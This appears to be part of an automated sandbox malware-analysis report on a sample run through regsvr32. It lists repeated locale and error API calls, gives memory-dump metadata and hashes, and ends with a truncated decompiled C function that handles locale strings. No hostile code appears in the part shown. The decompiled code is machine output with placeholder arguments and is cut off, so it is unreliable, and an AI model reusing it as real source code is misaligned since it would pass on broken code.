GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440C47
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440C6B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440C89
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440CAD
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440CC9
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440CED
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440D10
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440D34
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440D50
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440D74
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440D92
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440DB6
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440DD9
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440DFD
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440E19
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440E3D
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440E5B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440E7F
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440E9D
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440EC1
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440EE4
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440F08
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440F24
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440F48
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440F66
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440F8A
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440FA8
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440FCC
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440FED
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441014
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044103A
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441061
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441080
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004410A7
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004410C8
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004410EF
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441110
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441137
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441158
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044117F
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004411A0
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004411C7
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004411ED
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441214
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441233
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044125A
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044127B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004412A2
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004412C3
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004412EA
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044130B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441332
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441353
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044137A
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044139B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004413C2
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004413E8
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044140F
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044142E
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441455
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441476
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044149D
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004414BE
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004414E5
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441506
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044152D
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044154E
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441575
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441596
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004415BD
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004415DE
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441605
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044162B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441652
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441671
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441698
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004416B9
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004416E0
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441701
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441728
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441749
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441770
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441791
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004417B8
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004417D9
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441800
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441821
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441848
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044187F
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004418A9
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004418E0
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044190A
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441941
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 0044196B
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004419A2
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 004419CC
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441A03
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441A2D
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441A64
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441A8E
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441AC5
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00441AF7

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 998cf700e4644bf1cd809a485e4ddaa5a1d1bfae468f3045f088d15d9fab9e26
Instruction ID: 0192062d959bf4f0712998cd86e847c136ee9df9e94614db870ab1e0a6ba7399
Opcode Fuzzy Hash: 998cf700e4644bf1cd809a485e4ddaa5a1d1bfae468f3045f088d15d9fab9e26
Instruction Fuzzy Hash: 9F72843570278105F39876736962FAB158ABB89BC8F06743F9E1E97B82EDBCC9015344

Uniqueness

Uniqueness Score: -1.00%

Function 00440610 Relevance: 51.4, APIs: 34, Instructions: 414COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440636
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440659
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440671
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440694
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406B0
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406D3
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004406EC
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044070F
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044072E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440751
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044076A
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044078D
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004407AC
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004407D0
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440805
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044082E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440864
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044088E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004408C4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004408EE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440924
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 0044094E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440984
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004409AE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 004409E4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A0E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A44
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440A6E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440AA4
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440ACE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B04
SetLastError.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B2E
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,004400BB,00000000,000000FF,?,0043F6E2), ref: 00440B64

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: c4af37fe97c4afc46e005482de082dd8c8078826e801709697f96d713cb95dc9
Instruction ID: 735ad95a39c67accb30d7ff8a32d0179e39144997acc75629ce13e3f55211c6d
Opcode Fuzzy Hash: c4af37fe97c4afc46e005482de082dd8c8078826e801709697f96d713cb95dc9
Instruction Fuzzy Hash: A7C1E83171665046F6087673962276E1186AF89FC8F05942FDF19ABB82DEBCCA03534E

Uniqueness

Uniqueness Score: -1.00%

Function 00441BA0 Relevance: 19.6, APIs: 13, Instructions: 149COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441BCA
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441BEE
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C09
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C31
SetLastError.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C46
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C60
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C84
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441C9F
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441CC3
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441CE4
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D08
GetLocaleInfoA.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D39
SetLastError.KERNEL32(?,000000FF,00000000,?,00440169,00000000,000000FF,?,0043F6E2), ref: 00441D64

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 1ad71dcaa87e99a04994cc724b5a62664ca1868383eb0f0b84c0c5b9162ce53c
Instruction ID: dde228d91e4253c03c94df8daf444bfee06710823307da91abb5af5a4ea15c85
Opcode Fuzzy Hash: 1ad71dcaa87e99a04994cc724b5a62664ca1868383eb0f0b84c0c5b9162ce53c
Instruction Fuzzy Hash: 0C41E8717016C106F39866A35B91B7B198ABB887D8F10543FEE0A67F52DFBCC8825345

Uniqueness

Uniqueness Score: -1.00%

Function 0043FDE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0043FDE0(void* __ecx, char* __rax, intOrPtr* __rcx, long long __rdx, void* __r9, void* __r11) {
				void* _t40;
				signed short _t41;
				signed int _t42;
				signed int _t67;
				char* _t86;
				long long _t87;
				intOrPtr _t88;
				void* _t108;
				char* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t119;
				intOrPtr* _t120;
				intOrPtr _t121;

				_t119 = __r11;
				_t86 = __rax;
				_t111 = _t112 + 0x80;
				_t120 = __rcx;
				asm("xorps xmm0, xmm0");
				asm("movaps [ebp-0x60], xmm0");
				asm("movaps [ebp-0x30], xmm0");
				asm("movaps [ebp-0x40], xmm0");
				asm("movaps [ebp-0x50], xmm0");
				 *((intOrPtr*)(_t111 - 0x60)) = 0x656e6f6e;
				 *((intOrPtr*)(_t111 + 0xc)) = 0x303030;
				E00441F00(__rax, __rdx);
				_t67 = 0;
				r13d = 1;
				_t4 = _t111 - 0x60; // -95
				_t121 = _t4;
				_t5 = _t111 + 0xc; // 0xd
				_t88 = _t5;
				r15d = 1;
				 *((long long*)(_t111 + 0x10)) = __rdx;
				asm("o16 nop [cs:eax+eax]");
				while(1) {
					r9d = 0x40;
					GetLocaleInfoA(??, ??, ??, ??);
					r9d = 4;
					_t107 =  *((intOrPtr*)(_t111 + 0x10));
					GetLocaleInfoA(??, ??, ??, ??);
					E00441F00(_t86, _t121);
					E00441F00(_t86, _t88);
					_t105 = _t121;
					E00436FB0( *((intOrPtr*)(_t111 + 0x10)), _t121, _t119);
					if(_t86 != 0) {
						break;
					}
					E00437C70(_t86, _t88);
					_t105 = _t88;
					_t40 = E004377E0(_t107, _t88, _t86);
					_t67 =  ==  ? r13d : _t67;
					r15d = r15d + (0 | _t40 != 0x00000000);
					if(r15d > 0x38 || _t67 != 0) {
						if(_t67 != 0) {
							break;
						}
						_t41 = E00437E20(0x5f, _t86, _t107);
						if(_t86 != 0) {
							L7:
							_t10 = _t120 + 4; // 0x100000000
							r15d =  *_t10;
							if(r15d == 0) {
								L0044D340();
								r15d = _t41 & 0x0000ffff;
							} else {
								r15d = r15d & 0x000003ff;
							}
							break;
						}
						_t41 = E00437E20(0x2e, _t86, _t107);
						if(_t86 == 0) {
							L25:
							SetLastError();
							_t42 = 0;
							__eflags = 0;
							L26:
							return _t42;
						}
						goto L7;
					} else {
						continue;
					}
				}
				E00437E20(0x5f, _t86, _t107);
				if(_t86 == 0) {
